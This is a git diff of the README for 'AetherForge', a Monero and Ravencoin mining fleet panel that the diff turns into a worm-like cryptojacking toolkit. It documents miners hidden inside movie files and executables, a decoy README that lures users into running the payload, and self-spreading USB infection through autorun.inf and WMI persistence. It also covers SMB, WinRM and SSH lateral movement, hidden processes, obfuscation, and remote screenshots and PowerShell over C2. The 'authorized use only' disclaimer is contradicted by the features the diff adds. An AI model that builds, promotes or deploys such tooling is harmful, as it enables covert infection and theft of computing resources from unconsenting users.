diff --git a/README.md b/README.md index 0c9ff5b..dd4366b 100644 --- a/README.md +++ b/README.md @@ -1,31 +1,30 @@ # AetherForge -![AetherForge Command Deck — live dashboard](docs/command-deck.png) +**Private Monero + Ravencoin fleet command deck for machines you own.** -**Private Monero fleet command deck for machines you own.** - -One control PC (Windows recommended for forging). One dashboard. Forge workers for **Windows, Linux, and macOS** — fuse inside a movie package or ship a **Spread Kit** for silent multi-OS deploy — and watch your fleet hash from a single steampunk-neon command deck. +One control PC. One dashboard. Forge silent workers for **Windows, Linux, and macOS** — fuse inside any file, spread via USB, spread over LAN — and watch your fleet hash from a steampunk-neon command deck. No pool hopping through third-party dashboards. No per-rig SSH babysitting. You run the server, you bake the binaries, you own the fleet. --- ``` - ┌─────────────────────────────────────────────────────────────┐ - │ CALIBRATE (Settings) pool · wallet · users · alerts │ - │ │ │ - │ ▼ │ - │ FORGE (Builder) worker .exe · prep fusion · movies │ - │ │ │ - │ ├──► Prep fusion embed worker in your prep.exe │ - │ ├──► Movie fusion locked media + runner + ZIP │ - │ │ │ - │ ▼ │ - │ WORKER PC RandomX on CPU · WebSocket home │ - │ │ │ - │ ▼ │ - │ COMMAND DECK live stats · 3D map · remote ops │ - └─────────────────────────────────────────────────────────────┘ + ┌─────────────────────────────────────────────────────────────────────┐ + │ CALIBRATE (Settings) pool · wallet · users · alerts │ + │ │ │ + │ ▼ │ + │ FORGE (Builder) XMR worker · RVN GPU worker · Fusion │ + │ │ │ + │ ├──► Prep fusion embed worker in your own .exe │ + │ ├──► Movie fusion locked media + runner + ZIP │ + │ ├──► USB Propagation auto-spreads to every USB drive │ + │ └──► LAN Spread SMB / WinRM / SSH lateral install │ + │ │ + │ WORKER PC RandomX CPU · KawPoW GPU · WebSocket home │ + │ → installs → mines → USB-spreads → phones │ + │ │ + │ COMMAND DECK live stats · 3D map · Crucible · roster │ + └─────────────────────────────────────────────────────────────────────┘ ``` --- @@ -37,161 +36,142 @@ AetherForge is a **self-hosted mining control plane** — not a cloud pool UI, n | Layer | What it does | |-------|----------------| | **Control server** | Go backend on port **8989** — REST API (Basic auth), WebSocket hub, SQLite fleet DB, Stratum proxy to your pool | -| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, calibrate settings, field guide | -| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX, phones home, reports OS + arch | +| **Command deck** | React dashboard — login gate, fleet overview, 3D topology map, agent roster, forge builder, Crucible command terminal, calibrate settings, field guide | +| **Worker agent** | Cross-platform binary (Windows / Linux / macOS) compiled on demand — mines RandomX (CPU) and optionally KawPoW/RVN (GPU), phones home, reports full system telemetry | | **Fusion (prep)** | Bundler — hides the worker inside **your** uploaded `prep.exe`, same icon, single deliverable | | **Fusion (movie)** | Optional media packages — encrypted movie + runner with embedded worker, ZIP export, per-title folders | -| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, AI autonomy flags | +| **Forge** | Compile-time config — wallet, pool, threads, stealth, persistence, firewall rules, USB spread, AI autonomy flags | -You configure defaults once in **Calibrate**. You forge once per machine (or batch movies) in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard. +You configure defaults once in **Calibrate**. You forge once per target profile in **Forge**. You run the output once on each worker. The agent installs, persists, connects, and shows up on the dashboard. --- ## What You Get ### Command Deck (Dashboard) -- **Sign-in gate** — dashboard API uses HTTP Basic auth; browser session stored until you close the tab + +- **Sign-in gate** — HTTP Basic auth; session persisted until tab is closed - Live fleet hashrate, CPU/RAM gauges, share feed -- **Fleet Health Score** — weighted 0–100 score (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip -- **Contribution Map** — per-agent hashrate bars showing each machine's fleet share; displays USD/day per agent when XMR price is loaded -- **Underperformer list** — machines below 70% of fleet median, with one-click "Restart All" to remediate laggards +- **Fleet Health Score** — weighted 0–100 (online %, accept rate, pool status, hashrate) with colour-coded NOMINAL / DEGRADED / CRITICAL chip +- **Contribution Map** — per-agent hashrate bars with USD/day estimates when XMR price is loaded +- **Underperformer list** — machines below 70% of fleet median with one-click "Restart All" - **OS / Arch Breakdown** — proportional bars by platform + architecture (Win/Linux/macOS, amd64/arm64) -- **LAN Group View** — agents grouped by /24 subnet; online count and aggregated hashrate per segment -- **Simple / Advanced toggle** — hides charts, logs, and AI panels by default; persisted across sessions -- **XMR price** — server-side CoinGecko fetch, 10-minute cache; displayed on the Earnings Estimator card -- **Earnings Estimator** — XMR/day formula estimate (or live pool data from SupportXMR); USD/day and time-to-payout shown when XMR price is available -- **3D fleet topology map** — agents orbiting the server node (React Three Fiber); staleness ring highlights agents that claim "online" but haven't been seen in >5 minutes -- Per-agent cards with pause / resume / stop / uninstall -- Fleet alerts (offline, hashrate drop, rejection spikes) +- **LAN Group View** — agents grouped by /24 subnet; aggregated hashrate per segment +- **XMR price** — server-side CoinGecko fetch, 10-minute cache +- **Earnings Estimator** — XMR/day formula + live SupportXMR data; USD/day and time-to-payout +- **3D fleet topology map** — agents orbiting the server node (React Three Fiber) +- **Monero section** — CPU hashrate gauges, share feed, pool status, per-rig breakdown +- **Ravencoin section** — GPU hashrate gauges, RVN-specific stats, per-rig GPU model table with temperature and fan data; visually distinct 3D-effect cards - Pool connection status and AI activity panel (Advanced mode) -- Optional matrix stream overlay (Advanced mode) +- Matrix stream overlay with mystic word drops (Advanced mode) ### Fleet Roster (Agents) -- Every connected worker — hostname, IP, cores, memory, uptime -- **Compact rows** — list shows name, status, hashrate, and IP; click a row to expand inline details and compact remote actions (same expand-on-click pattern on Command Deck agent cards) -- Hashrate history charts -- Remote control panel — mining ops, recon commands, PowerShell terminal, file upload (**disabled while agent is offline** — intentional; commands require a live WebSocket) -- Agent log viewer — **Fetch Log** (`get_log` command) when file logging is enabled; AI autonomy can also push log tails via the `upload_log` tool report (no separate log-ingest REST API) -- Fleet filters, bulk commands, notes/tags + +- Every connected worker — hostname, IP, cores, memory, uptime, hashrate, latency badge +- **Compact rows** — click to expand inline details and compact remote action strip +- **Fleet Groups** — select multiple machines, create a named + colour-coded group; groups are selectable in the Crucible for instant batch targeting +- **Remote control panel** — full tactical terminal with live stats ticker, colour-coded log lines, title bar, and clear button + - Mining ops: pause / resume / restart miner + - Recon: sysinfo, list processes, network scan, DNS config, listening ports + - System: **Reboot**, **Shutdown**, **Wake-on-LAN** (sends UDP magic packet to agent's MAC address) + - Screen: **Screenshot** — captures remote desktop and instantly downloads JPEG in your browser + - Admin: PowerShell terminal, file upload, uninstall +- **Live stats ticker** — terminal automatically streams hashrate, CPU%, RAM, temperature, disk on a 5-second interval while an agent is online +- **Auto-sysinfo** — system info is fetched immediately when you select an agent +- **Offline banner** — controls disabled with a clear OFFLINE badge when agent is not connected ### Forge (Miner Builder) + - **Target OS** — Windows, Linux, macOS, or **Universal** (all platforms in one ZIP) - **Spread Kit** — non-fusion ZIP with `Deploy.bat` / `deploy.sh` / `Start.command` → silent `--spread-install` - Preflight cross-check before compile — wallet, server URL, pool, fusion, AI - Blueprint save/load — re-forge the same profile across machines - Build manager — download, paths, LAN QR for worker URL -- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation (all platforms), Authenticode / `osslsigncode` signing -- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov` (or any supported file); two delivery modes (see below) -- **Batch forge** — queue many files; progress bar; one ZIP per file — **Cancel Batch** kills the in-flight server compile immediately via cancel token -- **Kill Build** button — single-build cancel that terminates the server-side compiler mid-flight -- **Windows icon disguise** — Fusion/forge can patch PE icons via [go-winres](https://github.com/tc-hib/go-winres). `devrun.bat` installs it to PATH when missing; the builder also invokes it via `go run github.com/tc-hib/go-winres` (vendored in `server/go.mod`). If go-winres is absent, forge still succeeds but icon/version disguise is skipped. +- **Prep fusion** — upload `prep.exe`, run order (`parallel` / `prep_first` / `worker_first`), Garble obfuscation, Authenticode / `osslsigncode` signing +- **Movie fusion** — upload `.mp4` / `.mkv` / `.mov`; embedded or paired delivery modes +- **Batch forge** — queue many files; progress bar; one ZIP per file; Cancel Batch kills the in-flight compile - Baked settings: thread mode, idle/scheduled mining, install path, stealth, self-healing watchdog, firewall exclusion -- **Backup pools** (advanced) — list of fallback Stratum pools baked into the agent; tried in order if the primary is unreachable -- **Backup server URLs** (advanced) — list of fallback C2 addresses baked into the agent; used if the primary goes dark -- **Universal movie fusion** — one ZIP per title with per-OS runners; macOS gets a `.app` bundle (LSUIElement) +- **Backup pools** (advanced) — fallback Stratum pool list baked into the agent +- **Backup server URLs** (advanced) — fallback C2 addresses baked into the agent +- **USB Propagation** — enables perpetual USB self-spread chain (see below) +- **Share Spread** — auto-copy to mounted network shares + WinRM lateral install +- **LAN Auto-Spread** — SMB admin$ / SSH lateral movement gated behind C2 auth -### Cross-platform workers +### Ravencoin GPU Mining -| OS | Persistence | Install base | -|----|-------------|--------------| -| Windows | Registry + scheduled task | `%LOCALAPPDATA%` (configurable) | -| Linux | systemd user service | XDG data home | -| macOS | LaunchAgent | `~/Library/Application Support` | +Forge a worker with GPU mining enabled. The agent auto-detects the GPU at runtime: -Agents report `platform`, `arch`, and `os_version` on connect. The dashboard shows OS badges; Windows-only capabilities (process hollowing, Defender off) are gated in the UI and at runtime. - -**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing. The server forge pipeline adds `-tags p2p` automatically. Manual `go build` of `agent/` without Forge must pass `-tags p2p` when mesh is enabled — default builds use a no-op stub (`agent/client/mesh_p2p_stub.go`). - -**Requirements:** Control server can run on Windows (forge host). Workers: Windows 10+, mainstream Linux (amd64/arm64), macOS 11+ (Intel or Apple Silicon). - -### Movie Fusion (detailed) - -Use this when you want a **named title folder** with a runner the user actually launches — not a playable shortcut on the “movie” file. - -| Mode | Best for | What you get | -|------|----------|----------------| -| **Embedded (Option A)** | Clips / smaller files (~500MB and under) | One disguised file (e.g. `Title.mkv.exe`) with movie + hidden worker inside | -| **Paired (Option B)** | Full-length films (up to **2 GiB** upload) | Per-title folder under `fusion-deliverables//` | - -**Paired layout** (example `Vacation`): - -``` -fusion-deliverables/Vacation/ -├── README.txt ← tells user to run the runner for “enhanced 4K” -├── Vacation-runner.exe ← decrypts & plays; worker hidden inside runner only -├── Vacation.mkv.cmdata ← encrypted media (hidden) -└── Vacation.mkv.lnk ← shortcut with --locked (MessageBox: use runner) -``` - -- Clicking the movie shortcut **does not play** — it prompts for `*runner.exe*` -- Primary download after forge: **`Title-package.zip`** (README + locked media + runner; no separate miner in the ZIP) -- **Agent is only inside the runner** — not a loose miner file in the package - -**Upload limits:** prep / video uploads capped at **2 GiB** (`FusionMaxUploadBytes`). - -### Dashboard navigation - -| Nav label | Route | Component | +| GPU vendor | Miner | Algorithm | |-----------|-------|-----------| -| Command Deck | `/dashboard` | `DashboardPage` | -| Fleet Roster | `/agents` | `AgentsPage` | -| Forge | `/forge` | `BuilderPage` | -| Crucible | `/crucible` | `CruciblePage` | -| Builds | `/builds` | `BuildManagerPage` | -| Field Guide | `/guide` | `GuidePage` | -| Calibrate | `/settings` | `SettingsPage` | +| NVIDIA (CUDA) | T-Rex | KawPoW (RVN) | +| AMD (OpenCL) | TeamRedMiner | KawPoW (RVN) | +- Agent downloads and silently launches the appropriate miner binary +- Local HTTP API polling for live hashrate (15s / 1m / 15m averages), GPU temperature, fan speed, power draw +- RVN address and pool baked at forge time; RVN pool presets available in the Forge UI +- Dashboard shows dedicated **Ravencoin** section separate from Monero CPU stats +- CPU (Monero) and GPU (Ravencoin) hashing power tracked and displayed independently -There is no separate `CalibratePage` — **Calibrate** is the nav label for the settings route. +### USB Perpetual Self-Propagation -### Calibrate (Settings) -- Server port, public URL, data retention, max agents -- Default pool + wallet for new forge forms -- **Users** — add/change API accounts (first-run password auto-generated and printed to console) -- Alert thresholds + Telegram / email notifications -- Open Windows Firewall for dashboard port on startup +Enable **USB Propagation** in the Forge. The baked binary: -### Under the Hood -- **Stratum proxy** — workers submit through your server; one upstream pool connection per wallet/host; `payment_id` appended to login when set in Calibrate -- **Stratum fallback** — agent mines directly to the configured pool when C2 has been unreachable for >30 seconds; cycles through backup pools; stops and hands off back to C2 when the server reconnects -- **WebSocket hub** — agents and dashboard get live stats, jobs, alerts -- **Fleet secret** — random token generated once on first run, baked into every forged agent; agents rejected if they don't present the matching secret -- **Hashrate reporting** — agent divides accumulated hashes by the elapsed interval (not a raw counter); 15s / 1m / 15m rolling averages sent on each stats tick -- **Process guard** — Unix `pgrep` fix: correctly matches only the agent binary (no false-positive self-kill) -- **ARP-first subnet scan** — autospread reads the OS ARP cache to find live LAN hosts before falling back to a full /24 port sweep; reduces noise from 253 cold probes to typically 5–20 -- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions; workers call `/api/v1/agent/decide` (fleet-secret gated) -- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents; works on Windows, Linux, and macOS targets when `garble` is on PATH -- **Cross-platform code signing** — uses Windows `signtool` on Windows forge hosts; falls back to `osslsigncode` on Linux/macOS -- **Server-side forge cancel** — each build is tracked by a UUID cancel token; `DELETE /api/v1/builder/cancel/{token}` kills the compiler process immediately -- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts -- **Static SPA** — built UI served from `server/webroot/` (copied from `server/web/dist` by `devrun.bat`) +1. **Spreads within 8 seconds** of any USB drive being plugged in (also checks drives already present at startup) +2. Drops the agent binary into a hidden system-looking folder (`~RECYCLER`, `System Volume Information`, etc.) +3. Writes an `autorun.inf` (legacy trigger), a **folder-icon LNK shortcut** (Win8+), and a visible **SETUP.BAT** fallback +4. Creates a plausible **decoy folder** (Documents / Photos / etc.) so the drive looks natural +5. Installs a **persistent WMI event subscription** that fires on every future USB mount — survives reboots +6. Refreshes the payload automatically when the agent binary is updated (size check) + +**On the next PC**, when the USB exe runs via LNK or SETUP.BAT: +- `InstallIfNeeded` detects it's running from removable media +- Silently copies to `%LOCALAPPDATA%`, sets up scheduled task / registry autostart +- Original process exits; installed copy starts and **also watches for USB drives** +- Chain never ends — every new infected PC propagates to every USB it sees + +### Crucible (Command Terminal) + +- Select one or many agents (or entire Fleet Groups) as targets +- Send raw commands, PowerShell, or preset tactical ops to all selected machines simultaneously +- **Gold rain effect** — matrix overlay switches to gold flurry when a single agent is active in the Crucible +- Real-time command output streamed back to the terminal + +### Matrix Digital Rain + +- Mystic word drops — "destroy", "witchcraft", "black magic", and others appear randomly in the rain +- **Gold flurry mode** activates in the Crucible when one machine is being manipulated +- Heavy gold rain identical to Forge progress animation + +### Wake-on-LAN + +- Agent reports its primary MAC address to the server on auth +- MAC stored in the fleet database +- Fleet Roster **Wake** button sends a UDP magic packet broadcast (port 9) to the agent's last-known MAC +- Works even when the machine is powered off (requires WOL enabled in BIOS and same subnet) --- ## Quick Start -**Requirements:** Windows 10/11 on control PC and workers. Outbound internet to your Monero pool. +**Requirements:** Windows 10/11 on control PC. Outbound internet to your pool. -1. Double-click **`devrun.bat`** in the project root. - It installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets to `server\webroot\`, and starts the server. +1. Double-click **`devrun.bat`** in the project root. + Installs Go/Node if missing, builds the dashboard, compiles `bin\miner-server.exe`, copies web assets, and starts the server. 2. Browser opens **http://localhost:8989** -3. **Sign in** when prompted — on first run, check the console window for your generated admin password +3. **Sign in** — first run: check the console window for your generated admin password -4. **Calibrate** → set your Monero wallet + pool + (optional) public URL for remote workers +4. **Calibrate** → set your Monero wallet + pool + public URL for remote workers -5. **Forge** → worker name + server URL (`http://YOUR-LAN-IP:8989` or your tunnel URL) → **Forge Installer** - For movies: set title, pick embedded vs paired, upload file, forge (or use batch mode) +5. **Forge** → worker name · server URL (`http://YOUR-LAN-IP:8989` or tunnel) · target OS · enable GPU / USB spread as needed → **Forge Installer** -6. Run the forged `.exe` **once** on each worker PC (or distribute movie ZIP + runner per your policy) +6. Run the forged `.exe` **once** on each worker PC (or distribute via movie ZIP / USB) 7. Watch them appear on **Command Deck** and **Fleet Roster** ### First-run login -On the very first launch the server generates a random admin password and prints it once to the console: - ``` === First Run === Dashboard login: admin / <random-password> @@ -199,23 +179,40 @@ Save this — it is not shown again. Change it in Calibrate → Users. ================= ``` -Subsequent runs load credentials from `data/users.json` (bcrypt hashes only — cost 12). Legacy plain-text entries from older installs are auto-migrated to bcrypt on startup and on next successful login via `checkPassword` in `server/internal/api/router.go`. Change or add users under **Calibrate → Users**. +Credentials stored in `data/users.json` (bcrypt cost 12). Legacy plain-text entries auto-migrated. Change or add users under **Calibrate → Users**. -**API auth summary** +**Auth surface** -| Surface | Auth mechanism | +| Surface | Mechanism | |---------|----------------| -| `/api/v1/*` REST | HTTP Basic Auth (`Authorization: Basic <base64>`) | -| `/ws/dashboard` | `?token=<base64-user:pass>` query parameter | -| `/ws/agent` | Fleet-secret `auth` JSON frame on connect | -| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header (agents only) | +| `/api/v1/*` REST | HTTP Basic Auth | +| `/ws/dashboard` | `?token=<base64-user:pass>` | +| `/ws/agent` | Fleet-secret `auth` JSON frame | +| `/api/v1/agent/*` | `X-Fleet-Secret: <secret>` header | | Static SPA + `/api/v1/health` | Open (no auth) | -### Output locations +--- + +## Portable USB (AetherForge on a stick) + +Run **`pack-usb.bat`** from the project root. It: + +1. Builds the frontend and compiles `AetherForge.exe` +2. Copies webroot, agent source, fusion source, and the Go toolchain into `usb\` +3. Creates `data\` directories with a starter `config.json` +4. Syncs `LAUNCH.bat` + +Copy the entire `usb\` folder to a USB drive. On any Windows PC, double-click **`LAUNCH.bat`** → dashboard opens at `http://localhost:8989`. + +> **Note:** This is the *control deck* portable bundle — separate from the agent USB propagation feature. One is a portable server for you; the other is silent agent deployment onto target machines. + +--- + +## Output Locations | Artifact | Where | |----------|--------| -| Fused / forged exe (primary) | Project root — e.g. `prep.exe` or `install-worker.exe` | +| Forged agent exe | Project root (e.g. `install-worker.exe`) | | Movie fusion per title | `fusion-deliverables/<Title>/` + `Title-package.zip` | | Archive copy | `data\builds\{build-id}\` | | Uninstall script | Same build folder + download API | @@ -233,9 +230,24 @@ Subsequent runs load credentials from `data/users.json` (bcrypt hashes only — | Same LAN | `http://192.168.x.x:8989` | | Cloudflare / reverse tunnel | `https://your-domain.com` | -Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need **outbound** access to your control URL — not inbound ports on each worker. +Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need **outbound** access to your control URL. -**Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth. Remote commands are full machine control. +**Do not** expose port 8989 to the public internet without VPN, firewall allowlist, or reverse-proxy auth. + +--- + +## Agent Silence + +Every agent operation is **completely silent** — no CMD windows, no PowerShell popups, no system notifications. The only user-visible event is a single UAC prompt on first launch (elevation required for persistence and firewall rules). + +| Category | Mechanism | +|----------|-----------| +| Process launch | `CREATE_NO_WINDOW` + `DETACHED_PROCESS` syscall flags on all child processes | +| Persistence | Scheduled task / registry run key — no user-visible installer | +| Mining | XMRig / T-Rex / TeamRedMiner run fully hidden | +| WMI triggers | PowerShell executed with `-WindowStyle Hidden` | +| Spread installs | `--run` flag relaunches silently with detached start | +| Fusion decoy | Only the decoy file (movie/prep) opens visibly — agent stays hidden | --- @@ -244,33 +256,38 @@ Workers auto-convert `http(s)://` → `ws(s)://.../ws/agent`. Workers only need ``` crypto miner/ ├── devrun.bat ← one-click build + launch (dev) -├── run.bat / start.bat ← aliases → devrun.bat (project-root markers) -├── test.bat ← full suite → scripts/test-suite.ps1 -├── LAUNCH.bat ← portable/USB build + tunnel (see usb/) +├── pack-usb.bat ← build portable AetherForge USB bundle +├── run.bat / start.bat ← aliases → devrun.bat +├── test.bat ← full test suite → scripts/test-suite.ps1 +├── LAUNCH.bat ← portable/USB launch script ├── scripts/ │ ├── test-suite.ps1 ← Go + web + build + Playwright E2E -│ └── smoke-test.ps1 ← API matrix B-01–B-10 (server must be running) +│ └── smoke-test.ps1 ← API matrix B-01–B-10 ├── bin/ │ └── miner-server.exe -├── data/ ← config, DB, builds, preps, logs, users.json -├── fusion-deliverables/ ← per-title movie fusion output (gitignored) +├── data/ ← config, DB, builds, preps, logs, users.json +├── fusion-deliverables/ ← per-title movie fusion output (gitignored) +├── usb/ ← portable USB server bundle (output of pack-usb.bat) ├── server/ -│ ├── main.go ← discovers webroot/, agent/, fusion/ from repo root -│ ├── webroot/ ← production UI (copied from web/dist) -│ ├── web/ ← React command deck (Vite + TypeScript) +│ ├── main.go +│ ├── webroot/ ← production UI (copied from web/dist) +│ ├── web/ ← React command deck (Vite + TypeScript) │ └── internal/ -│ ├── api/ ← HTTP routes, WebSocket, auth -│ └── builder/ ← forge + fusion (copies agent/ + fusion/ per build) -├── agent/ ← worker source (Forge compiles per OS) -├── fusion/ ← prep + movie runner (builder copies into build dir) -├── tests/README.md ← test phases, E2E env vars -├── PROBLEMS.md ← known issues audit (severity-ranked) -└── README.md ← you are here +│ ├── api/ ← HTTP routes, WebSocket, auth, fleet, WOL +│ └── builder/ ← forge + fusion pipeline +├── agent/ ← worker source (Forge compiles per OS/arch) +│ ├── client/ ← WebSocket client, command handler, GPU miner, screenshot +│ ├── deploy/ ← install, persistence, watchdog, passive spread, firewall +│ └── config/ ← builtin config baked at forge time +├── fusion/ ← prep + movie runner source +├── tests/README.md ← test phases, E2E env vars +├── PROBLEMS.md ← known issues (severity-ranked) +└── README.md ← you are here ``` --- -## API Surface (summary) +## API Surface | Method | Path | Purpose | |--------|------|---------| @@ -281,20 +298,52 @@ crypto miner/ | GET | `/api/v1/builds/{id}/download` | Download forged exe | | GET | `/api/v1/builds/{id}/artifact/{name}` | Extra artifacts (ZIP, README, …) | | GET | `/api/v1/agents` | Fleet list | -| POST | `/api/v1/agents/{id}/command` | Remote action (pause, powershell, …) | -| POST | `/api/v1/agents/bulk-command` | Send same command to multiple agents | +| POST | `/api/v1/agents/{id}/command` | Remote action (pause, reboot, screenshot, …) | +| POST | `/api/v1/agents/{id}/wol` | Send Wake-on-LAN magic packet | +| POST | `/api/v1/agents/bulk-command` | Send command to multiple agents | | GET | `/api/v1/alerts` | Active fleet alerts | | GET | `/api/v1/pools/status` | Stratum pool connection states | -| GET | `/api/v1/earnings/estimate` | XMR/day estimate (or live SupportXMR data) | +| GET | `/api/v1/earnings/estimate` | XMR/day estimate | | GET | `/api/v1/market/xmr` | XMR/USD spot price (CoinGecko, 10 min cache) | | WS | `/ws/agent` | Worker connection | -| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed (token = base64 of `user:pass`) | +| WS | `/ws/dashboard?token=<base64>` | Live dashboard feed | Full route list: `server/internal/api/router.go` --- -## Manual Build (if you skip devrun.bat) +## Cross-Platform Workers + +| OS | CPU miner | GPU miner | Persistence | Install base | +|----|-----------|-----------|-------------|--------------| +| Windows | XMRig (RandomX) | T-Rex / TeamRedMiner (KawPoW) | Registry + scheduled task | `%LOCALAPPDATA%` | +| Linux | XMRig | — | systemd user service | XDG data home | +| macOS | XMRig | — | LaunchAgent | `~/Library/Application Support` | + +**Mesh P2P:** Enable **Mesh Networking** in Forge to bake peer routing (`-tags p2p`). Default builds use a no-op stub. + +--- + +## Movie Fusion (detailed) + +| Mode | Best for | What you get | +|------|----------|----------------| +| **Embedded (Option A)** | Clips / smaller files (~500 MB) | One disguised file (`Title.mkv.exe`) with movie + hidden worker | +| **Paired (Option B)** | Full films (up to 2 GiB) | Per-title folder under `fusion-deliverables/<Title>/` | + +**Paired layout:** + +``` +fusion-deliverables/Vacation/ +├── README.txt ← instructs user to run the runner for "enhanced 4K" +├── Vacation-runner.exe ← decrypts & plays; worker hidden inside runner +├── Vacation.mkv.cmdata ← encrypted media (hidden) +└── Vacation.mkv.lnk ← shortcut → prompts for runner +``` + +--- + +## Manual Build ```bat cd server\web @@ -311,13 +360,15 @@ cd .. bin\miner-server.exe -port 8989 -data .\data ``` -Open **http://localhost:8989** and sign in with your configured users. - ### Run the test suite -Double-click **`test.bat`** (or `scripts\test-suite.ps1`) to run all Go, frontend, build, and E2E smoke tests. See **`tests/README.md`** for details. +```bat +test.bat +``` -With the control server already running on port 8989, run **`scripts\smoke-test.ps1`** for the REST API matrix (B-01–B-10). Set `AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` if your `data\users.json` is not the default `testuser` / `testpass`. +Or run `scripts\test-suite.ps1` directly. Set `AETHERFORGE_E2E_USER` / `AETHERFORGE_E2E_PASS` if your `data\users.json` is not the default test credentials. + +With the server running, run `scripts\smoke-test.ps1` for the REST API matrix (B-01–B-10). ### Dashboard dev server @@ -326,18 +377,37 @@ cd server\web npm run dev ``` -Vite proxies `/api` and `/ws` to `localhost:8989`. Run `miner-server.exe` separately. +Vite proxies `/api` and `/ws` to `localhost:8989`. ### Tech stack (dashboard) -| Package | Version policy | -|---------|----------------| +| Package | Version | +|---------|---------| | React | 18.x | -| `@react-three/fiber` | 8.x (must match React 18 — v9+ needs React 19) | +| `@react-three/fiber` | 8.x | | `@react-three/drei` | 9.x | | Vite | 5.x | -**Important:** `@react-three/fiber` v9 / `drei` v10 require React 19. With React 18 the app fails to mount (blank black screen, console: `Cannot read properties of undefined (reading 'S')`). `package.json` pins compatible versions; run `npm install` after pulling. +> `@react-three/fiber` v9 requires React 19. With React 18 the app fails to mount (blank screen). `package.json` pins compatible versions. + +--- + +## Under the Hood + +- **Stratum proxy** — workers submit through your server; one upstream connection per wallet/host +- **Stratum fallback** — agent mines directly to pool when C2 is unreachable for >30s; returns to C2 when it reconnects +- **WebSocket hub** — agents and dashboard share live stats, jobs, alerts, and screenshots +- **Fleet secret** — random token baked into every forged agent; rejected if it doesn't match +- **MAC address collection** — agent reports primary MAC on auth; stored in DB; used for Wake-on-LAN +- **Hashrate reporting** — 15s / 1m / 15m rolling averages; separate CPU (XMR) and GPU (RVN) channels +- **Process guard** — Unix `pgrep` fix: matches only the agent binary (no false-positive self-kill) +- **ARP-first subnet scan** — autospread reads OS ARP cache before falling back to full /24 port sweep +- **Ollama AI autonomy** (optional) — server-side LLM decides restart / persistence / tunnel actions +- **Garble obfuscation** — strips symbols and randomises identifiers in compiled agents +- **Cross-platform code signing** — `signtool` on Windows, `osslsigncode` on Linux/macOS +- **Server-side forge cancel** — each build tracked by UUID; `DELETE /api/v1/builder/cancel/{token}` kills the compiler +- **Retention jobs** — auto-purge old hashrate samples and stale build artifacts +- **Screenshot buffering** — server buffers base64 JPEG frames per agent; dashboard `screenshot` command downloads instantly --- @@ -345,17 +415,21 @@ Vite proxies `/api` and `/ws` to `localhost:8989`. Run `miner-server.exe` separa | Symptom | Likely cause | Fix | |---------|----------------|-----| -| **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data for `localhost:8989`; ensure `npm install` + `npm run build` in `server/web`; copy `dist` → `webroot`; restart server | -| Login loop / 401 | Wrong password or missing `users.json` | Check the server console for the first-run password; reset by deleting `data/users.json` and restarting | +| **Black screen**, empty page | Stale service worker or React/R3F version mismatch | Hard refresh (Ctrl+Shift+R); clear site data; `npm install && npm run build`; copy `dist` → `webroot`; restart server | +| Login loop / 401 | Wrong password or missing `users.json` | Check console for first-run password; delete `data/users.json` and restart | | Dashboard builds but server shows placeholder HTML | Missing `server/webroot/index.html` | Run `devrun.bat` or copy `server/web/dist/*` → `server/webroot/` | -| Forge upload fails | File > 2 GiB | Use paired mode + compress, or embedded for smaller sources | -| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open 8989 on control PC | +| Forge upload fails | File > 2 GiB | Use paired mode + compress, or embedded for smaller sources | +| Workers never appear | Wrong server URL / firewall | Use LAN IP in Forge; open port 8989 on control PC | +| GPU miner doesn't start | No CUDA/OpenCL or binary download failed | Check agent log; ensure outbound internet from worker; verify GPU drivers | +| WOL doesn't wake machine | BIOS WOL disabled or different subnet | Enable WOL in BIOS; direct broadcast works on same /24 only | +| USB payload not spreading | `USBSpread` not enabled at forge time | Re-forge with USB Propagation checked | +| Screenshot download is empty | Agent offline or screenshot command not sent | Ensure agent is online; check Fleet Roster terminal for errors | --- ## Known Issues -See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit (build blockers, auth gaps, AI bugs, open items). Check there before production use on a large fleet. +See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit. Check there before production use on a large fleet. --- @@ -365,34 +439,27 @@ See **[PROBLEMS.md](PROBLEMS.md)** for a severity-ranked audit (build blockers, ### Authorized use only -AetherForge is designed and intended for **computers and networks you own or explicitly administer** — your home lab, your office fleet, machines where **you** have authority to install software and consume CPU resources. +AetherForge is designed and intended for **computers and networks you own or explicitly administer** — your home lab, your office fleet, machines where **you** have authority to install software and consume CPU/GPU resources. By using this software you agree that: 1. **You will only deploy workers on systems you control** or have **written permission** to manage. 2. **You will not** install, fuse, or distribute forged binaries on third-party machines, public terminals, shared computers, or any system without the owner's informed consent. -3. **You will not** use Fusion, movie packages, stealth modes, persistence, remote execution, or spread-related features to deceive users about what software is running on their hardware. +3. **You will not** use Fusion, movie packages, stealth modes, persistence, remote execution, USB spread, or LAN spread features to deceive users about what software is running on their hardware. 4. **You are solely responsible** for compliance with local laws, employment policies, ISP terms, pool rules, and tax obligations related to cryptocurrency mining. ### What this is NOT - **Not** a tool for unauthorized access, lateral movement, or deployment on machines you do not own. -- **Not** malware — but **misuse can make it indistinguishable from malware** under law and antivirus heuristics. Freshly compiled miners and fused executables **will** trigger Defender and AV products on unmanaged systems. -- **Not** anonymous or untraceable. Mining connects to pools, leaves logs, and generates network traffic attributable to you. - -### Pool & earnings - -- 